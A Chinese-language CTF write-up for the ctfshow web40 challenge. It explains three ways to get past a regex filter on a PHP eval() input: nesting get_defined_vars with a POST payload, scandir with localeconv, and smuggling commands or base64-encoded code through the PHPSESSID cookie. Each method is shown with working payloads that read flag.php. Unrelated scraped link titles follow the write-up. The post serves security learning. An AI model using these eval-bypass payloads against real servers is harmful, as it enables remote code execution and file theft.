目录

  • 解法1
  • 解法2
  • 解法3
  • 本地尝试

源码

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

前言

通过代码审计发现,字母 、_ 、() 和 ; 没有被过滤,仔细观察可以发现里面过滤的括号是中文括号

解法1

get_defined_vars() 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() 是删除并返回数组最后一个元素
current() 返回数组中的当前元素的值。
next() 返回数组中的下一个元素的值。

用get_defined_vars()来获取所有已定义的变量,发现post数组为空还有刚刚GET传入值出现在get数组还有数组的末端。
/?c=print_r(get_defined_vars());

用post提交参数,cmd=phpinfo();
发现post数组里面传入了值,数组末尾并没有新增元素

这时候我们用 array_pop取出数组最后一个元素,这时候拿到的还是数组末尾的元素[c],因为没有源码没有定义变量来接收post的值(具体可以对比上两张图数组末尾)
?c=print_r(array_pop(get_defined_vars()));

由于get_defined_vars()返回的是一个多维数组,我们用current()可以获取到GET数组,用next()可以获取到POST数组,然后用array_pop()取出POST数组里面的元素,最后用eval执行


?c=eval(array_pop(next(get_defined_vars())));
最后用POST提交 cmd=system(“cat flag.php”); 拿到flag

返回目录

解法2

scandir() 函数返回指定目录中的文件和目录的数组。
print_r() 函数用于打印变量,以更容易理解的形式展示。
localeconv()函数会返回一一个包含本地数字及货币格式信息的数组,该数组的第一个元素就是"."
current() 函数返回数组中的当前元素的值。别名是 pos()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。

?c=print_r(scandir(pos(localeconv())));

localeconv()的第一个元素是"." ,用pos()可以返回数组第一个元素的值。所以结合起来就是 scandir(".") 相当于返回当前目录下文件的数组,最后用print_r输出。


下一步应该要把flag.php这个值取出,来读取文件内容。但发现没有什么办法可以直接取出。

这时候我们可以用array_reserve()把数组内元素顺序倒过来,flag就变成数组中的第二项,然后可以用next()取出(默认指针停留在数组第一项)
?c=print_r(array_reverse(scandir(pos(localeconv()))));

?c=print_r(next(array_reverse(scandir(pos(localeconv())))));

最后我们可以用read_file()、highlight_file()和show_source()读出源码,拿到flag

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

返回目录

解法3

参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

第一种方法

?c=session_start();system(session_id());
提交之后 Cookie中会生成PHPSESSID,这时候我们可以把它的值改成ls再提交,然后就会显示当前目录下的文件,也可以用bp来抓包

提交后

修改值为ls 再提交,获得目录的下文件,后面可以继续构造payload来拿到flag,可以用base64编码和写小马。由于php版本问题只能进行到这里,想知道这么做的话可以看下我的 本地尝试

第二种方法

/?c=show_source(session_id(session_start()));
PHPSSID值设为flag.php

献上大佬的效果图

返回目录

本地尝试

参考大佬的博客
利用session_id()让php读取我们设置的cookie(session默认不使用所以加了session_start()让php开始使用session)
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的

用phpstudy搭建靶场,直接把源码拿过来,为了方便测试,把php版本修改为5.6.9

由于本地是window系统,这边用dir来获取目录文件,用bp抓包

phpsessid不支持空格,我们可以把payload进行base64编码,这边想让他输出phpinfo页面
?c=session_start();eval(session_id());

直接base64编码会发现后面有2个=,这样phpsessid是不支持的。

我们可以再加2个;再编码 就可以成功获取phpinfo页面

用第二种方法
?c=show_source(session_id(session_start()));
PHPSESSID=flag.php
自己在本地建了个flag.php

返回目录

小结

这题刚开始被绕晕了,不理解为什么array_pop能取到POST数组中的元素,然后再本地一步一步用var_dump测试,最后才懂,想起这是一个多维数组。后面用session的时候,发现解不出,后面又去网上看了很多大佬写的相关的博客,最后总结起来自己本地尝试,成功解决问题。
用群主的话来讲,就和洋葱一样,需要一层一层剥开看看就明白了

CTFshow 命令执行 web40相关推荐

  1. CTFshow——命令执行

    CTFshow--命令执行 Web29 <?php error_reporting(0); if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_matc ...

  2. [CTFSHOW]命令执行

    文章目录 web 29 web 30 web 31 web32 web33-36 web37 web38 web40 web41 web42 web43 web44 web45 web46 web47 ...

  3. CTFshow命令执行29-123

    命令执行 WEB29 eval是php中执行以PHP脚本执行的命令 PHP命令可以执行脚本命令 本题使用方法是先 system(cp f*.php 1.txt) 然后访问1.txt WEB30 在PH ...

  4. CTFshow 命令执行 web72

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 ...

  5. ctfshow 命令执行 web29-web77 web118-122 web124 wp

    南神博客 文章目录 命令执行 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 w ...

  6. ctfshow命令执行篇

    web31 echo(`ls%09/`); echo(`tac%09fla*`); web32 过滤; 关键命令执行函数也不能用 用文件包含 其实这个做法也是靠刷题经验猜flag路径 c=includ ...

  7. [CTFSHOW]命令执行55-74

    web 55 if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\< ...

  8. ctfshow命令执行(持续更新,已更至web39)

    做命令执行题比前两种慢很多,到现在也只做了总数的五分之一,慢慢来吧. web29 web30 web31 web32 web33~36 web37 web38 web39 web29 题目如下: er ...

  9. ctfshow命令执行

    目录 web33:[文件包含] web34: web35: web36:多过滤了0-9的数字,用参数逃逸可以不用数字,用字母就可以成功绕过 ,步骤一样,略 web37: web38: web39: w ...

最新文章

  1. c# 数据可视化_#OpenVisConf上的22位数据可视化从业者的10点收获
  2. Mysql高级调优篇——第一章:调优必备索引知识
  3. 【问题收录】ImportError No module named MySQLdb 问题解决
  4. 队列学习笔记 顺序队列
  5. Android Fragment使用(三) Activity, Fragment, WebView的状态保存和恢复
  6. hdu 1203 I NEED A OFFER!
  7. 数据仓库:Oracle Exadata和Netezza的比较
  8. C语言文件操作(三)读取指定路径txt文件,并输出文件内容
  9. 数据轮播图翻页封装(左右点击)
  10. Exceptionless - .Net Core开源日志框架
  11. 2场直播丨Oracle数据库SQL执行计划的取得和解析、一次特殊的 Oralce 硬解析性能问题的技术分享...
  12. (原创)面向对象的系统对接接口编写。第4篇
  13. wsdl互联网短信接口_中国移动推出短信小程序
  14. 使用useEffect常见问题!
  15. java drawstring字体大小_java – 不同大小的JLabel中心drawString()文本
  16. 推荐:学习人工智能(AI)的一些网站及教程资源
  17. 斯皮尔曼相关(Spearman correlation)系数概述及其计算例
  18. 子群的陪集-》群的拉格朗日定理
  19. 【.NET】EF框架之三种模式
  20. JavaScript中pageX pageY offsetX offsetY区别

热门文章

  1. BadgeView(View上添加提醒)的应用与分析
  2. CROC-MBTU 2012, Elimination Round (ACM-ICPC) 总结
  3. python调用api应用接口_第三方免费快递物流查询接口平台(快递鸟)api接口调用...
  4. FCC有意支持Sprint与T-Mobile合并?
  5. Python之sort()函数详解
  6. SortedMap接口
  7. java(十六) 对象的this引用
  8. 基于HAproxy的web动静分离及输出状态检测页面
  9. HandlerThread 类的学习(转载)
  10. 《几何与代数导引》习题1.38